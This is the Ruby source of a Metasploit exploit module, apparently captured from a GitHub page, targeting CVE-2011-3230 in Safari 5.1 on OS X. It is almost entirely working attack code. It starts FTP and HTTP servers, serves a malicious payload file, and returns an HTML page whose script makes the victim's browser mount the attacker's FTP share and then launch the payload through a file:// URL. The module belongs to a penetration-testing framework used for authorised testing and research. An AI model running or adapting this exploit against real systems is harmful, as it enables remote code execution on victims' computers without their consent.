Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::FtpServer
def initialize(info={})
super(update_info(info,
'Name' => "Apple Safari file:// Arbitrary Code Execution",
'Description' => %q{
This module exploits a vulnerability found in Apple Safari on OS X platform.
A policy issue in the handling of file:// URLs may allow arbitrary remote code
execution under the context of the user.
In order to trigger arbitrary remote code execution, the best way seems to
be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
a file format that OS X might automount), and then execute it in /Volumes/[share].
If there's some kind of bug that leaks the victim machine's current username,
then it's also possible to execute the payload in /Users/[username]/Downloads/,
or else bruteforce your way to getting that information.
Please note that non-java payloads (*.sh extension) might get launched by
Xcode instead of executing it, in that case please try the Java ones instead.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Aaron Sigel', # Initial discovery
'sinn3r', # Metasploit (also big thanks to HD, and bannedit)
],
'References' =>
[
[ 'CVE', '2011-3230' ],
[ 'OSVDB', '76389' ],
[ 'URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments' ],
[ 'URL', 'http://support.apple.com/kb/HT5000' ]
],
'Payload' =>
{
'BadChars' => "",
},
'DefaultOptions' =>
{
'EXITFUNC' => "none",
},
'Platform' => %w{ java osx unix },
'Arch' => [ ARCH_CMD, ARCH_JAVA ],
'Targets' =>
[
[ 'Safari 5.1 on OS X', {} ],
[ 'Safari 5.1 on OS X with Java', {} ]
],
'Privileged' => true,
'DisclosureDate' => '2011-10-12', #Blog date
'DefaultTarget' => 0))
register_options(
[
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),
OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])
])
end
#
# Start the FTP aand HTTP server
#
def exploit
# The correct extension name is necessary because that's how the LauncherServices
# determines how to open the file.
ext = (target.name =~ /java/i) ? '.jar' : '.sh'
@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext
# Start the FTP server
start_service()
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
# Create our own HTTP server
# We will stay in this functino until we manually terminate execution
start_http()
end
#
# Lookup the right address for the client
#
def lookup_lhost(c=nil)
# Get the source address
if datastore['SRVHOST'] == '0.0.0.0'
Rex::Socket.source_address( c || '50.50.50.50')
else
datastore['SRVHOST']
end
end
#
# Override the client connection method and
# initialize our payload
#
def on_client_connect(c)
r = super(c)
@state[c][:payload] = regenerate_payload(c).encoded
r
end
#
# Handle FTP LIST request (send back the directory listing)
#
def on_client_command_list(c, arg)
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection\r\n")
return
end
print_status("Data connection setup")
c.put("150 Here comes the directory listing\r\n")
print_status("Sending directory list via data connection")
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
m = month_names[Time.now.month-1]
d = Time.now.day
y = Time.now.year
dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"
conn.put(dir)
conn.close
print_status("Directory sent ok")
c.put("226 Transfer ok\r\n")
return
end
#
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
#
def on_client_command_retr(c, arg)
conn = establish_data_connection(c)
if not conn
c.put("425 can't build data connection\r\n")
return
end
print_status("Connection for file transfer accepted")
c.put("150 Connection accepted\r\n")
# Send out payload
conn.put(@state[c][:payload])
conn.close
return
end
#
# Handle the HTTP request and return a response. Code borrorwed from:
# msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensure all dependencies are present before initializing HTTP
use_zlib
comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
# As long as we have the http_service object, we will keep the ftp server alive
while @http_service
select(nil, nil, nil, 1)
end
end
#
# Kill HTTP/FTP (shut them down and clear resources)
#
def cleanup
super
# clear my resource, deregister ref, stop/close the HTTP socket
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service = nil
rescue
end
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
if !Rex::Text.zlib_present? && datastore['HTTP::compression']
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
end
end
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore['URIPATH'] || rand_text_alphanumeric(8+rand(8))
path = '/' + path if path !~ /^\//
datastore['URIPATH'] = path
return path
end
#
# Handle HTTP requets and responses
#
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
print_error("Unsupported target: #{agent}")
send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
return
end
html = <<-HTML
<html>
<head>
<base href="file://">
<script>
function launch() {
document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
}
function share() {
document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
setTimeout("launch()", 2000);
}
share();
</script>
</head>
<body>
</body>
</html>
HTML
send_response(cli, 200, 'OK', html)
end
#
# Create an HTTP response and then send it
#
def send_response(cli, code, message='OK', html='')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'text/html'
res.body = html
cli.send_response(res)
end
end
=begin
- Need to find a suitable payload that can be executed without warning.
Certain executables cannot be executed due to permission issues. A jar file doesn't have this
problem, but we still get a "Are you sure?" warning before it can be executed.
- Allow user-specified port to automount the share
- Allow ftp USERNAME/PASSWORD (optional)
=end